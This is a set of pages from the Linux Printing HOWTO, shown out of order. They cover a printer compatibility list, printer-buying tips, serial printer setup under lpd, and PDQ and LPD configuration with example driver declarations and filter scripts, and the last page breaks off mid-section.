Dymo-CoStar

ASCII 250*
ASCII+*
EL40*
EL60*
LabelWriter II*
LabelWriter XL*
LabelWriter XL+*
SE250*
SE250+*
Turbo*

Epson

Action Laser II
ActionLaser 1100*
ActionPrinter 3250
Dot Matrix
L-1000*
LP 8000
LQ-24
LQ-500
LQ-570+
LQ-850
LQ-2550
LX-1050
SQ 1170
Stylus Color
Stylus Color 400
Stylus Color 440
Stylus Color 460
Stylus Color 480
Stylus Color 500
Stylus Color 600
Stylus Color 640
Stylus Color 660
Stylus Color 740
Stylus Color 760
Stylus Color 800
Stylus Color 860
Stylus Color 880
Stylus Color 900
Stylus Color 980
Stylus Color 1160
Stylus Color 1500
Stylus Color 1520
Stylus Color 3000
Stylus Color I
Stylus Color PRO
Stylus Photo
Stylus Photo 700
Stylus Photo 720
Stylus Photo 750
Stylus Photo 870
Stylus Photo 1200
Stylus Photo 1270
Stylus Photo EX

EPL-5700
Stylus Color 300
Stylus Color 670*
Stylus Color 850
Stylus Color II
Stylus Color IIs
Stylus Pro XL

Stylus Photo 2000P

EPL-5700L

Fujitsu

1200*
2400*
3400*
PrintPartner 10V*
PrintPartner 16DV*
PrintPartner 20W*
PrintPartner 8000*

HP

2000C
2500C
Color LaserJet 4500
DesignJet 3500CP
DeskJet
DeskJet 400
DeskJet 420C
DeskJet 500
DeskJet 500C
DeskJet 510
DeskJet 520
DeskJet 540
DeskJet 550C
DeskJet 560C
DeskJet 600
DeskJet 1200C
DeskJet 1600C
DeskJet 1600CM
LaserJet
LaserJet 2 w/PS*
LaserJet 2D
LaserJet 2P
LaserJet 2P Plus
LaserJet 3
LaserJet 3D
LaserJet 3P w/PS
LaserJet 4 Plus
LaserJet 4L
LaserJet 4M
LaserJet 4ML*
LaserJet 4P
LaserJet 5
LaserJet 5L*
LaserJet 5M*
LaserJet 5MP*
LaserJet 5P*
LaserJet 6
LaserJet 6L*
LaserJet 6MP*
LaserJet 1100
LaserJet 2100
LaserJet 2100M
LaserJet 4050N
LaserJet 5000
LaserJet 8000
LaserJet 8100
LaserJet Plus*
LaserJet Series II*
Mopier 240*
Mopier 320*
PaintJet*
PaintJet XL*
PaintJet XL300*
ThinkJet*

Color LaserJet 5
DesignJet 230*
DesignJet 350C
DesignJet 650C*
Designjet 750 C Plus*
DeskJet 310
DeskJet 610C
DeskJet 610CL
DeskJet 612C
DeskJet 660C
DeskJet 670C
DeskJet 672C
DeskJet 682C
DeskJet 690C
DeskJet 692C
DeskJet 694C
DeskJet 697C
DeskJet 710C*
DeskJet 712C
DeskJet 720C*
DeskJet 722C*
DeskJet 810C
DeskJet 812C
DeskJet 815C*
DeskJet 820C
DeskJet 832C
DeskJet 840C
DeskJet 842C*
DeskJet 850C
DeskJet 855C
DeskJet 870C
DeskJet 870Cse*
DeskJet 870Cxi
DeskJet 880C
DeskJet 882C
DeskJet 895C
DeskJet 895Cxi*
DeskJet 932C
DeskJet 950C*
DeskJet 970C
DeskJet 970Cse
DeskJet 1100C
DeskJet 1120C
DeskJet 1220C
LaserJet 2
LaserJet 6P
LaserJet 4000
PSC 500*

Color LaserJet 5000
DeskJet 320
DeskJet 340C
DeskJet 890C
DeskJet 930C
DeskJet 1000C
LaserJet 1100A
OfficeJet 500*
OfficeJet 600*
OfficeJet 625*
OfficeJet 635*
OfficeJet 710*
OfficeJet Pro 1170C*
OfficeJet Pro 1175C*
OfficeJet R45*
OfficeJet R60
PhotoSmart P1000
PhotoSmart P1100*

LaserJet 3100*
LaserJet 3150

Heidelberg

Digimaster 9110*

Hitachi

DDP 70 (with MicroPress)*

IBM

3853 JetPrinter*
4019*
4029 10P*
4303 Network Color Printer*
Execjet 4072*
Page Printer 3112*
ProPrinterII*

Imagen

ImPress*

Infotec

infotec 4651 MF*

Kodak

DigiSource 9110*
IS 70 CPII*

Kyocera

F-3300
FS-600*
FS-600 (KPDL-2)*
FS-680*
FS-800*
FS-1200*
FS-1700+*
FS-1750*
FS-3750*
FS-5900C*
P-2000*

F-800T*
FS-3500*

Lexmark

4039 10plus
Optra Color 40
Optra Color 45
Optra Color 1200
Optra Color 1275
Optra E*
Optra E+*
Optra E310
Optra E312
Optra Ep*
Optra K 1220*
Optra R+*
Optra S 1250*
Optra S 1855*
Optra Se 3455*
Optra W810
Valuewriter 300*
Z32

1020 Business
3000

1000
1100
2030
2070
3200
5000
5700
7000
7200
Winwriter 400*
Z11*
Z51

1020
2050
Winwriter 100*
Winwriter 150c*
Winwriter 200*
Z22
Z52*

Minolta

PagePro 6*
PagePro 6e*
PagePro 6ex*
PagePro 8*

PagePro 8L*

PagePro 6L

Mitsubishi

CP50 Color Printer*

NEC

P2X*
PinWriter P6*
PinWriter P6 plus*
PinWriter P7*
PinWriter P7 plus*
PinWriter P60*
PinWriter P70*
SilentWriter LC 890*
Silentwriter2 S60P*
Silentwriter2 model 290*
SuperScript 660i*
SuperScript 1800

Silentwriter 95f*

SuperScript 100C*
SuperScript 150C*
SuperScript 650C*
SuperScript 750C*
SuperScript 860*
SuperScript 870*
SuperScript 1260*

SuperScript 610plus*
SuperScript 660*
SuperScript 660plus*

Oce

3165*

Okidata

ML 380*
OL 410e
OL 600e*
OL 610e/PS
OL 800
OL 810e/PS
OL400ex
OL810ex
OL820*
OL830Plus
Okipage 6e
Okipage 6ex*
Okipage 8c
Okipage 8p
Okipage 10e
Okipage 12i
Okipage 20DXn

Microline 182
OL 400w*
OL 610e/S
OkiPage 4w+*
OkiPage 8w Lite*
OkiPage 8z*
Okijet 2500*
Okipage 4w*
Okipage 8w*
Super 6e

Microline 192+
Okipage 6w*

Okijet 2010

Olivetti

JP350S*
JP450*
JP470*
PG 306*

PCPI

1030*

Panasonic

KX-P1123*
KX-P1124*
KX-P1150*
KX-P1180i*
KX-P2023*
KX-P2135*
KX-P2150*
KX-P4410*
KX-P4450*
KX-P5400*
KX-P8420*
KX-P8475*
KX-PS600*
kx-p1624*

KX-P2123*
KX-P6150*

KX-P6500*

KX-P6100*
KX-P6300 GDI*
KX-P8410*

Printrex

820 DL*

QMS

2425 Turbo EX*
LPK-100*

magicolor 2+*
ps-810*

magicolor 2

Raven

LP-410

Ricoh

4081*
4801*
6000*
Aficio 220*
Aficio AP2000

Aficio 401*

Aficio Color 2206*
Afico FX10*

Samsung

ML-85*
ML-4600*
ML-5000a*
ML-6000/6100*
ML-7000/7000P/7000N*
ML-7050*
QL-5100A*
QL-6050*
SI-630A*

ML-85G
QL-85G

ML-5050G*
SF/MSYS/MJ-4700/4800/4500C*

Seiko

SpeedJET 200*

SLP*
SLP 120*
SLP 220*
SLP EZ30*
SLP Plus*
SLP Pro*

Sharp

AR-161*

Star

LC24-100*
LS-04
NL-10*

LC 90*
LC24-200*
StarJet 48*

WinType 4000*

Tally

MT908*

Tektronix

3693d color printer, 8-bit mode*
4693d color printer, 2-bit mode*
4693d color printer, 4-bit mode*
4695*
4696*
4697*
Phaser 780
Phaser 850*
Phaser IISX*
Phaser PX*

Xerox

2700 XES
3700 XES
4045 XES*
DocuPrint 4508
DocuPrint C20
DocuPrint C55*
DocuPrint N17
DocuPrint N32*
Document Centre 400*

DocuPrint C6*
DocuPrint P8e
DocuPrint P12*
Docuprint C6*
Docuprint C8*
XJ6C*

Document Homecentre
WorkCentre 450cp*
WorkCentre 470cx*
XJ8C*

DocuPrint P8*
Work Centre XK35c
WorkCenter XE90fx*
WorkCentre XD120f*
WorkCentre XE80
workcentre 385*

* This entry has not been sanity-checked by me.

5.4. How to buy a printer

It's a bit difficult to select a printer these days; there are many models to choose from. Here are some shopping tips:

Cost

You get what you pay for. Most printers under $200-300 will print reasonably well, but printing costs a lot per page. For some printers, it only takes one or two cartridges to add up to the cost of a new printer! Similarly, the cheapest printers won't last very long. The least expensive printers, for example, have a MTBF of about three months; obviously these are poorly suited for heavy use.

Inkjets

Inkjet printheads will clog irreparably over time, so the ability to replace the head somehow is a feature. Inkjet printheads are expensive, with integrated head/ink cartridges costing ten times (!) what ink-only cartridges go for, so the ability to replace the head only when needed is a feature. Epson Styluses tend to have fixed heads, and HP DeskJets tend to have heads integrated into the cartridges. Canons have three-part cartridges with independently replaceable ink tanks; I like this design. OTOH, the HP cartridges aren't enormously more expensive, and HP makes a better overall line; Canon is often the third choice from the print quality standpoint; and Epson Styluses are the best supported under Linux at the moment. You just can't win.

Lasers

Laser printers consume a drum and toner, plus a little toner wiping bar. The cheapest designs include toner and drum together in a big cartridge; these designs cost the most to run. The best designs for large volume take plain toner powder or at least separate toner cartridges and drums.

Photography

The best color photograph output is from continuous tone printers which use a silver halide plus lasers approach to produce—surprise!—actual photographs. Since these printers cost tens of thousands to buy, Ofoto.com offers inexpensive print-by-print jobs. The results are stunning; even the best inkjets don't compare.

The best affordable photo prints come from the dye-sublimation devices like some members of the Alps series (thermal transfer of dry ink or dye sublimation). Unfortunately they have poor Linux support (the one report I have speaks of banding and grainy pictures), and even then it's unclear if the dye-sub option is supported.

The more common photo-specialized inkjets usually feature 6 color CMYKcm printing or even a 7 color CMYKcmy process. All photo-specialized printers are expensive to run; either you always run out of blue and have to replace the whole cartridge, or the individual color refills for your high-end photo printer cost an arm and a leg. Special papers cost a bundle, too; you can expect top-quality photo inkjet output to run over a US dollar per page. See also the section on printing photographs later in this document, and the sections on color tuning (such as it is) in Ghostscript.

Speed

Speed is proportional to processing power, bandwidth, and generally printer cost. The fastest printers will be networked Postscript printers with powerful internal processors. Consumer-grade printers will depend partly on Ghostscript's rendering speed, which you can affect by having a reasonably well-powered machine; full pages of color, in particular, can consume large amounts of host memory. As long as you actually have that memory, things should work out fine.

Forms

If you want to print on multicopy forms, then you need an impact printer; many companies still make dot matrix printers, most of which emulate traditional Epson models and thus work fine.

Labels

There are two supported lines of label printer; look for the Dymo-Costar and the Seiko SLP models. Other models may or may not work. Avery also makes various sizes of stick-on labels in 8.5x11 format that you can run through a regular printer.

Plotting

Big drafting formats are usually supported these days by monster inkjets; HP is a popular choice. Mid-sized (11x17) inkjets are also commonly used for smaller prints. Much plotting of this sort is done with the languages RTL, HP-GL, and HP-GL/2, all of which are simple HP proprietary vector languages usually generated directly by application software.

5.4.1. What do I have?

I own an HP Deskjet 500, a Lexmark Optra 40, and a Canon BJC-4100. All work perfectly: the HP and Canon are older models, well supported by Ghostscript; and the Optra is a more modern color inkjet with full Postscript and PCL 5 support (!).

I also own a Hawking Technology 10/100 Ethernet print server (model 7117, actually made by Zero One Technologies in Taiwan); this makes it possible to put the printer anywhere with power and a network jack, instead of just near a computer. It's a little dongle that attaches to the printer's parallel port and has an Ethernet jack on the other side. The only flaw with this is that it doesn't allow bidirectional communication, so I can't arrange to be sent email when the ink is low.

Prev | Home | Next
Kernel printer devices |  | Spooling software


Quick Start

The Linux Printing HOWTO
Prev Next

2. Quick Start

The quickest way to get started is simply to use the setup tools provided by your vendor. Assuming that this includes support for your driver, and assuming that your vendor shipped the driver for your printer, then it should be easy to get a basic setup going this way. For information on vendor-provided setup tools, see Section 9.

If your vendor's tool doesn't work out, you should figure out if your printer is supposed to work at all. Consult the printer compatibility listings in Section 5.3.1 as well as the online version described there.

If your printer is known to work with a driver, check that you have that driver, and install if it not. Typically you will be able to find a contributed Ghostscript package including newer Ghostscript code and assorted third-party drivers. If not, you can compile it yourself; the process is not trivial, but it is well documented. See Section 10 for more information on Ghostscript.

After installing the proper driver, attempt again to configure your printer with your vendor's tools. If that fails, select a suitable third party tool from those described in Section 8. If that also fails, you'll need to construct your own setup; again see Section 8.

If you're still stuck, you've got a little troubleshooting to do. It's probably best to read most of this document first to get a feel for how things are supposed to work; then you'll be in a better position to debug.

Prev | Home | Next
Introduction |  | How to print


Serial printers under lpd

The Linux Printing HOWTO
Prev Next

17. Serial printers under lpd

Serial printers are rather tricky under lpd.

17.1. Setting up in printcap

Lpd provides five attributes which you can set in /etc/printcap to control all the settings of the serial port a printer is on. Read the printcap man page and note the meanings of br#, fc#, xc#, fs# and xs#. The last four of these attributes are bitmaps indicating the settings for use the port. The br# atrribute is simply the baud rate, ie `br#9600'.

It is very easy to translate from stty settings to printcap flag settings. If you need to, see the man page for stty now.

Use stty to set up the printer port so that you can cat a file to it and have it print correctly. Here's what `stty -a' looks like for my printer port:
dina:/usr/users/andy/work/lpd/lpd# stty -a < /dev/ttyS2
speed 9600 baud; rows 0; columns 0; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;
lnext = ^V; min = 1; time = 0;
-parenb -parodd cs8 hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr
-igncr -icrnl ixon -ixoff -iuclc -ixany -imaxbel
-opost -olcuc -ocrnl -onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0
bs0 vt0 ff0
-isig -icanon -iexten -echo -echoe -echok -echonl -noflsh -xcase
-tostop -echoprt -echoctl -echoke
The only changes between this and the way the port is initialized at bootup are -clocal, -crtscts, and ixon. Your port may well be different depending on how your printer does flow control.

You actually use stty in a somewhat odd way. Since stty operates on the terminal connected to it's standard input, you use it to manipulate a given serial port by using the `<' character as above.

Once you have your stty settings right, so that `cat file > /dev/ttyS2' (in my case) sends the file to the printer, look at the file /usr/src/linux/include/asm-i386/termbits.h. This contains a lot of #defines and a few structs (You may wish to cat this file to the printer (you do have that working, right?) and use it as scratch paper). Go to the section that starts out

/* c_cflag bit meaning */
#define CBAUD   0000017
This section lists the meaning of the fc# and fs# bits. You will notice that the names there (after the baud rates) match up with one of the lines of stty output. Didn't I say this was going to be easy?

Note which of those settings are preceded with a - in your stty output. Sum up all those numbers (they are octal). This represents the bits you want to clear, so the result is your fc# capability. Of course, remember that you will be setting bits directly after you clear, so you can just use `fc#0177777' (I do).

Now do the same for those settings (listed in this section) which do not have a - before them in your stty output. In my example the important ones are CS8 (0000060), HUPCL (0002000), and CREAD (0000200). Also note the flags for your baud rate (mine is 0000015). Add those all up, and in my example you get 0002275. This goes in your fs# capability (`fs#02275' works fine in my example).

Do the same with set and clear for the next section of the include file, "c_lflag bits". In my case I didn't have to set anything, so I just use `xc#0157777' and `xs#0'.

17.2. Older serial printers that drop characters

Jon Luckey points out that some older serial printers with ten-cent serial interfaces and small buffers really mean stop when they say so with flow control. He found that disabling the FIFO in his Linux box's 16550 serial port with setserial corrected the problem of dropped characters (you apparently just specify the uart type as an 8250 to do this).

Prev | Home | Next
On-screen previewing of printable things. |  | What's missing?


How to set things up

The Linux Printing HOWTO
Prev Next

8. How to set things up

For common configurations, you can probably ignore this section entirely - instead, you should jump straight to Section 9 below, or better yet, your vendor's documentation. Most Linux distributions supply one or more "idiot-proof" tools to do everything described here for common printers.

If your vendor's tool doesn't work out for you, or you'd like the ability to interactively control printing options when you print, then you should use some other system. PDQ is a good choice; it provides very good functionality and is easy to setup. APS Filter is another good system; it configures LPD queues and filters very easily on most any sort of Unix system.

You can also use the printing system interfaces from the Linux Printing Website to connect many free drivers into several spooling systems. Once this project is complete, these interfaces will offer the best functionality: all styles of free software drivers are supported, user-settable options are available, and most common spooling systems are supported.

8.1. Configuring PDQ

PDQ can be configured by either the superuser or by a joeuser. Root's changes are made to /etc/printrc, and affect everyone, while joeuser can only modify his personal .printrc. Everything applies to both types of configuration.

If PDQ is not available prepackaged for your distribution, you should obtain the source distribution from the PDQ web page and compile it yourself. It is an easy compile, but you must first be sure to have installed the various GTK development library packages, the C library development package, the gcc compiler, make, and possibly a few other development things.

8.1.1. Drivers and Interfaces

PDQ lets users select a printer to print to. A printer is defined in PDQ as the combination of a "driver" and an "interface". Both drivers and interfaces are, in fact, merely snippets of text in the PDQ configuration file.

A PDQ interface says everything about how to ship data out to a printer. The most common interfaces, which are predefined in the PDQ distribution's example printrc file, are:

local-port

A local port interface speaks to a parallel or serial port on the machine PDQ is running on. Using this interface, PDQ can print directly to your parallel port. Note that if you have a multiuser system this can cause confusion, and if you have a network the local-port interface will only apply to one system. In those cases, you can define a raw unfiltered lpd queue for the port and print to the system's lpd daemon exactly the same way from all systems and accounts without any troubles. This interface has a device name argument; the typical value would be /dev/lp0.

bsd-lpd

A bsd lpd interface speaks over the network to an LPD daemon or LPD-speaking networked printer. PDQ supports job submission, cancellation, and queries to LPD interfaces. This interface has hostname and queuename arguments.

appletalk

The appletalk interface allows you to print to printers over the Appletalk network; if you have a printer plugged into your Mac this is the way to go. This interface needs to have the Netatalk package installed to work.

A PDQ driver says everything about how to massage print data into a format that a particular printer can handle. For Postscript printers, this will include conversion from ascii into Postscript; for non-Postscript printers this will include conversion from Postscript into the printer's language with Ghostscript.

If one of PDQ's included driver specifications doesn't fit your printer, then read the section below on how to write your own.

8.1.2. Defining Printers

To define a printer in PDQ:

  • First check that you've got suitable driver and interface declarations in the system or your personal printrc.

  • If you want to define the printer in /etc/printrc (for all users), then su to root.

  • Run xpdq, and select Printer->Add printer. This "wizard" will walk you through the selection of a driver and interface.

That's really all there is to it; most of the work lies in finding or creating a suitable driver specification if you can't find one premade.

8.1.3. Creating a PDQ Driver Declaration

Here I'll walk through an example of how to make a PDQ driver declaration. Before you try that, though, there are several places to look for existing driver specs:

  • PDQ itself comes with a collection of prewritten driver files.

  • The Linux Printing Website's database includes a program called "PDQ-O-Matic" which will generate a PDQ specification from the information in the database. Assuming that the database contains the proper information for your printer and driver, this is the best path if you have a non-Postscript printer.

  • I've written a tool called ppdtopdq which takes a Postscript Printer Definition file and converts it into a PDQ driver specification, with about 75% success. This is an option if you have a Postscript printer.

There are several places to look for the information needed to write your own PDQ driver:

  • The PDQ driver specification syntax is quite rich, and is fully documented in the printrc(5) man page.

  • The PDQ distribution includes a few example files. Look in particular at the Epson Stylus file, which demonstrates the structure of the definition for a Ghostscript-driven printer.

  • The Printing HOWTO Database includes raw Linux driver information for over 600 printers. This will tell you what options to give Ghostscript, or what extra program to run on the Ghostscript output.

If you have to create your own driver specification, or if you enhance one from the PDQ distribution or one of the PDQ driver generator programs mentioned above, please share your creation with the world! Send it to me (gtaylor+pht@picante.com), and I'll make sure that it gets found by future PDQ users with your type of printer.

Now, let's walk through the writing of a driver specification for a printer listed in the Printing HOWTO's database as working, but for which you can't find a PDQ driver spec. I'll use the Canon BJC-210 as the example printer.

First, we look at the database entry for this printer. Note that it is supported "perfectly", so we can expect to get comparable results (or better) to Windows users. The important information is in two places in the entry:

Notes

The human-readable notes will often contain useful information. For some printers, there is a More Info link, which usually refers to a web page run by a user with this printer, or to the driver's home page.

Driver List

Most printers have a list of drivers that are known to work. This is the most important part. You can follow the driver links to a driver-specific page, which will often have more information about how to execute the driver, as well as a link to the driver's web page, if it has one.

A PDQ driver spec has two logical functions: user interaction, and print job processing. These are represented in the file in three places:

Option Declarations

These define what options the user can set, and declare PDQ variables for later parts of the driver to use.

Language Filters

These process the print job from whatever format it arrived in (typically Postscript or ASCII) into a language the printer can understand (for example, PCL). Option values are available here, as well as in the output filter.

Output Filter

This final filter bundles up the printer data regardless of input type; often printer options are set here.

Let's work on each of these for a Canon BJC-210:

8.1.3.1. Options

The driver list for this printer includes the bj200 and bjc600 drivers, both of which are Ghostscript style drivers. The notes suggest that we use the bj200 for black-and-white printing.

So, as far as the user is concerned, the BJC-210 supports one useful option: the user should pick color or black-and-white. Let's declare that as choice option called "MODE":
option {
  var = "MODE"
  desc = "Print Mode"
  # default_choice "Color"    # uncomment to default to color
  choice "BW" {
    # The value part assigns to the variable MODE whatever you
    # want. Here we'll assign the text that varies between the
    # two Ghostscript option sets for the two modes.
    value = "bj200"
    help = "Fast black printing with the black cartridge."
    desc = "Black-only"
  }
  choice "Color" {
    value = "bjc600"
    help = "Full-color printing."
    desc = "Color"
  }
}
With the above choice declarations, the user will see a Color or BW choice in the driver options dialog when he prints from xpdq. In the command-line pdq tool, he may specify -oBW or -oColor. The default can be set from xpdq, or declared above with the default_choice keyword.

8.1.3.2. Language Filtering

PDQ normally identifies its input with the file(1) command. For each type returned by file that you want to handle, you provide a language_driver clause. The clause consists mostly of a script to process the printjob language, in any (!) scripting language you wish (the default is the usual Bourne shell).

In our case, we want to print Postscript and ASCII on our BJC-210. This needs two language drivers: one to run Ghostscript for Postscript jobs, and one to add carriage returns to ASCII jobs:
# The first language_driver in the file that matches what file(1)
# says is what gets used.
language_driver ps {
  # file(1) returns "PostScript document text conforming at..."
  filetype_regx = "postscript"
  convert_exec = {
    gs -sDEVICE=$MODE -r360x360 \     # gs options from the database
       -q -dNOPAUSE -dBATCH -dSAFER \ # the "usual" Ghostscript options
       -sOutputFile=$OUTPUT $INPUT    # process INPUT into file OUTPUT

    # Those last two lines will often be the same for gs-supported
    # printers.  The gs... line, however, will be different for each
    # printer.
  }
}

# We declare text after postscript, because the command "file" will
# often describe a postscript file as text (which it is).
language_driver text {
  # No filetype_regx; we match the driver's name: "text"
  convert_exec = {#!/usr/bin/perl
     # a Perl program, just because we can!
     my ($in, $out) = ($ENV{'INPUT'}, $ENV{'OUTPUT'});
     open INPUT, "$in";
     open OUTPUT, ">$out";
     while(<INPUT>) {
        chomp;
        print OUTPUT, "$_\r\n";
     }
  }
}

That's it! While other printers may need output filtering (as described in the next section), the above clauses are it for the BJC-210. We just wrap them all up in a named driver clause:
driver canon-bjc210-0.1 {
  option {
    var = "MODE"
    desc = "Print Mode"
    # default_choice "Color"    # uncomment to default to color
    choice "BW" {
      # The value part assigns to the variable MODE whatever you
      # want. Here we'll assign the text that varies between the
      # two Ghostscript option sets for the two modes.
      value = "bj200"
      help = "Fast black printing with the black cartridge."
      desc = "Black-only"
    }
    choice "Color" {
      value = "bjc600"
      help = "Full-color printing."
      desc = "Color"
    }
  }

  # The first language_driver in the file that matches what file(1)
  # says is what gets used.
  language_driver ps {
    # file(1) returns "PostScript document text conforming at..."
    filetype_regx = "postscript"
    convert_exec = {
      gs -sDEVICE=$MODE -r360x360 \     # gs options from the database
         -q -dNOPAUSE -dBATCH -dSAFER \ # the "usual" Ghostscript options
         -sOutputFile=$OUTPUT $INPUT    # process INPUT into file OUTPUT

      # Those last two lines will often be the same for gs-supported
      # printers.  The gs... line, however, will be different for each
      # printer.
    }
  }

  # We declare text after postscript, because the command "file" will
  # often describe a postscript file as text (which it is).
  language_driver text {
    # No filetype_regx; we match the driver's name: "text"
    convert_exec = {#!/usr/bin/perl
       # a Perl program, just because we can!
       my ($in, $out) = ($ENV{'INPUT'}, $ENV{'OUTPUT'});
       open INPUT, "$in";
       open OUTPUT, ">$out";
       while(<INPUT>) {
          chomp;
          print OUTPUT, "$_\r\n";
       }
    }
  }
}

8.1.3.3. Output Filtering

If you want to prepend or append something to all printjobs, or do some sort of transformation on all the data of all types, then it belongs in the filter_exec clause. Our little Canon doesn't require such a clause, but just to have an example, here's a simple illustration showing how to support duplexing and resolution choice on a Laserjet or clone that speaks PJL:
driver generic-ljet4-with-duplex-0.1 {
  # First, two option clauses for the user-selectable things:
  option {
    var = "DUPLEX_MODE"
    desc = "Duplex Mode"
    default_choice = "SIMPLEX"
    choice "SIMPLEX" {
      value = "OFF"
      desc = "One-sided prints"
    }
    choice "DUPLEX" {
      value = "ON"
      desc = "Two-sided prints"
    }
  }

  option {
    var = "GS_RES"
    desc = "Resolution"
    default_choice = "DPI600"
    choice "DPI300" {
      value = "-r300x300"
      desc = "300 dpi"
    }
    choice "DPI600" {
      value = "-r600x600"
      desc = "600 dpi"
    }
  }

  # Now, we handle Postscript input with Ghostscript's ljet4 driver:
  language_driver ps {
    filetype_regx = "postscript"
    convert_exec = {
       gs -sDEVICE=ljet4 $GS_RES \
          -q -dNOPAUSE -dBATCH -dSAFER \
          -sOutputFile=$OUTPUT $INPUT
    }
  }

  # Finally, we wrap the job in PJL commands:
  filter_exec {
    # requires echo with escape code ability...
    echo -ne '\33%-12345X' > $OUTPUT

    echo "@PJL SET DUPLEX=$DUPLEX_MODE"    >> $OUTPUT
    # You can add additional @PJL commands like the above line here.
    # Be sure to always append (>>) to the output file!

    cat $INPUT >> $OUTPUT
    echo -ne '\33%-12345X' >> $OUTPUT
  }
}

8.2. Configuring LPD

Most Linux systems ship with LPD. This section describes a very basic setup for LPD; further sections detail the creation of complex filters and network configuration.

8.2.1. Basic LPD configuration

The minimal setup for lpd results in a system that can queue files and print them. It will not pay any attention to wether or not your printer will understand them, and will probably not let you produce attractive output. But we have to start somewhere.

To add a print queue to lpd, you must add an entry in /etc/printcap, and make the new spool directory under /var/spool/lpd.

An entry in /etc/printcap looks like:
# LOCAL djet500
lp|dj|deskjet:\
        :sd=/var/spool/lpd/dj:\
        :mx#0:\
        :lp=/dev/lp0:\
        :sh:
This defines a spool called lp, dj, or deskjet, spooled in the directory /var/spool/lpd/dj, with no per-job maximum size limit, which prints to the device /dev/lp0, and which does not have a banner page (with the name of the person who printed, etc) added to the front of the print job.

Go now and read the man page for printcap.

The above looks very simple, but there a catch - unless I send in files a DeskJet 500 can understand, this DeskJet will print strange things. For example, sending an ordinary Unix text file to a deskjet results in literally interpreted newlines, and gets me:
This is line one.
                 This is line two.
                                  This is line three.
ad nauseam. Printing a PostScript file to this spool would get a beautiful listing of the PostScript commands, printed out with this "staircase effect", but no useful output.

Clearly more is needed, and this is the purpose of filtering. The more observant of you who read the printcap man page might have noticed the spool attributes if and of. Well, if, or the input filter, is just what we need here.

If we write a small shell script called filter that adds carriage returns before newlines, the staircasing can be eliminated. So we have to add in an if line to our printcap entry above:
lp|dj|deskjet:\
        :sd=/var/spool/lpd/dj:\
        :mx#0:\
        :lp=/dev/lp0:\
        :if=/var/spool/lpd/dj/filter:\
        :sh:
A simple filter script might be:
#!perl
# The above line should really have the whole path to perl
# This script must be executable: chmod 755 filter
while(<STDIN>){chomp $_; print "$_\r\n";};
# You might also want to end with a form feed: print "\f";
If we were to do the above, we'd have a spool to which we could print regular Unix text files and get meaningful results. (Yes, there are four million better ways to write this filter, but few so illustrative. You are encouraged to do this more efficiently.)

The only remaining problem is that printing plain text is really not too hot - surely it would be better to be able to print PostScript and other formatted or graphic types of output. Well, yes, it would, and it's easy to do. The method is simply an extention of the above linefeed-fixing filter.

Such a filter is called a magic filter. It plays the same role as the language filters of PDQ. Don't bother writing one yourself unless you print strange things - there are a good many written for you already, and most have easy-to-use interactive configuration tools. You should simply select a suitable pre-written filter:

LPD-O-Matic

Lpdomatic is a filter designed to use data from the Linux Printing printer database. It will soon support essentially all free software printer drivers, including regular Ghostscript drivers, Uniprint drivers, and the assorted filter programs floating around out there. It works with various strains of LPD, including stock BSD, LPRng, and the new VA Linux LPD, to allow option selection.

APS Filter

apsfilter is a filter designed for use on a wide variety of Unices. It supports essentially all Ghostscript drivers. It, too, works with various strains of LPD, including stock BSD and LPRng. At the moment, this is probably the best third-party system around for non-PostScript printers.

RHS-Printfilters

RHS-Printfilters is a filter system constructed by Red Hat. It shipped beginning, I think, in version 4 of Red Hat Linux, as the backend to the easy-to-use printtool GUI printer configuration tool. Other distributions, including Debian, now ship the rhs-printfilters/printool combo as a printing option. Thus this filter system is arguably the most widely deployed one.

The rhs filter system is built on an ascii database listing distributed with it. This listing supports many Ghostscript and Uniprint drivers, but not filter-style drivers. The filters constructed also do not support much in the way of user-controllable options at print time.

The printtool places a configuration file named postscript.cfg in the spool directory. Inside this Bourne shell-style file, each setting is a variable. In unusual cases, you can make useful changes directly to the config file which the printtool won't allow; typically this would be the specification of an unusual Ghostscript driver, or a PPD filename for the VA rhs-printfilters version.

VA Linux has made some enhancements to the rhs-printfilters system under contract from HP. With the proper versions, it is now possible to select options for Postscript printers under control of Adobe PPD files. I cover this system in Section 8.2.2.

There's one catch to such filters: older version of lpd don't run the if filter for remote printers, while most newer ones do (although often with no arguments). The version of LPD shipped with modern Linux and FreeBSD distributions does; most commercial unices that still ship LPD have a version that does not. See the section on network printing later in this document for more information on this. If you only have locally-connected printers, then this won't affect you.

8.2.2. LPD for PostScript Printers

While most versions of LPD don't gracefully handle PostScript (nevermind user options), VA Linux recently modified LPD and Red Hat's filtering software to support PostScript printers fairly well. For the moment, this system works only with Red Hat 6.2, although the packages could be easily adapted for other distributions.

8.2.2.1. How it works

VA's new system uses Postscript Printer Definition, or PPD, files. PPD files are provided by printer manufacturers and declare the available options on a printer, along with the Postscript code needed to activate them. With the VA system, the normal LPD scheme works a little differently:

  1. The user can specify options with the -o flag. For example, you might specify -o MediaType:Transparency if you were about to print on overhead film. Alternatively, the front-end GPR can be used to specify options in a dialog box; you can see screenshots of GPR in Section 3.3.1.

  2. LPR passes the options to LPD as an extended attribute in the LPD control file.

  3. A modified version of the rhs-printfilters package is given the extended options data in an environment variable, and uses ppdfilt to add these options to the print data.

8.2.2.2. Obtaining and Installing

You can obtain RPM packages, or source tarballs, from the project's website on SourceForge. For installation details, consult the project's installation micro-HOWTO. In essence, you need to uninstall the Red Hat version of printtool, lpd, and rhs-printfilters entirely, and then install the VA versions, plus ppdfilt, gpr, and a few other utilities.

You will also need PPD files for your Postscript printers. PPD files are usually fairly easy to find. VA Linux and HP distribute PPD files for many Laserjet models. Other vendors provide PPDs for their own printers, and Adobe distributes PPD files for many printers.

At the moment, much of this is a bit difficult to install. But future installation tools will build upon the printer configuration library libprinterconf, which enables both the autodetection and rhs-printfilter configuration of both networked and local printers.

Note: It is possible to use GPR alone, without the modified LPD or even rhs-printfilters. GPR can be compiled with all the logic needed to massage Postscript jobs directly. This may be an easier-to-install option suitable for people who never really need to print using lpr directly.

8.2.2.3. Controlling Postscript Options

Once you've setup VA's Postscript-capable LPD system, you can control your printer's options in two ways:

With the GUI

To use GPR, you first make sure that you've specified the proper PPD file. Then the printer's options will be available on the `Advanced' panel. Basic ppdfilt options will be available on the `Common' panel.

With the command line

